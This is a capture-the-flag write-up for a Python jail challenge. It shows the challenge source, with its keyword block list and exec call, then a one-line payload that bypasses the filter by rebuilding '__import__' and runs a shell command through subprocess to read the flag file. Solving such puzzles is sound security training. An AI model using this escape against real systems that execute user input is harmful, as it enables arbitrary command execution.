.**Challenge**

```
Hi! Welcome to pyjail!
========================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
print("Hi! Welcome to pyjail!")
print("========================================================================")
print(open(__file__).read())
print("========================================================================")
print("RUN")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if keyword in text:
print("No!!!")
return;
else:
exec(text)
if __name__ == "__main__":
main()
========================================================================
RUN
```

**Solution**:

`print(__builtins__.__dict__['__imp'+'ort__']('subprocess').call('cat /home/python_jail/flag',shell=True))`

Flag: `KorNewbie{H311o_h0w_@r3_y0u_d0lng?}`